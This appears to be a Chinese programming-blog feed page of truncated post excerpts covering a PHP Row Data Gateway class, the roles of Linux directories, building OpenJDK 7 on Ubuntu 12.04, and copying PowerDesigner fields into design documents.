行数据入口(Row Data Gateway):充当数据源中单条记录入口的对象,每行一个实例。
二、简单实现行数据入口
为了方便理解,还是先简单实现:
<?php
/**
* 行数据入口类
*/
class OrderGateway {
/*定义元数
Linux各个目录的作用及内容
pda158
linux 脚本
1)根目录“/” 根目录位于目录结构的最顶层,用斜线(/)表示,类似于
Windows
操作系统的“C:\“,包含Fedora操作系统中所有的目录和文件。 2)/bin /bin 目录又称为二进制目录,包含了那些供系统管理员和普通用户使用的重要
linux命令的二进制映像。该目录存放的内容包括各种可执行文件,还有某些可执行文件的符号连接。常用的命令有:cp、d
ubuntu12.04上编译openjdk7
ol_beta
HotSpot jvm jdk OpenJDK
获取源码
从openjdk代码仓库获取(比较慢)
安装mercurial Mercurial是一个版本管理工具。 sudo apt-get install mercurial
将以下内容添加到$HOME/.hgrc文件中,如果没有则自己创建一个: [extensions] forest=/home/lichengwu/hgforest-crew/forest.py fe
将数据库字段转换成设计文档所需的字段
vipbooks
设计模式 工作 正则表达式
哈哈,出差这么久终于回来了,回家的感觉真好!
PowerDesigner的物理数据库一出来,设计文档中要改的字段就多得不计其数,如果要把PowerDesigner中的字段一个个Copy到设计文档中,那将会是一件非常痛苦的事情。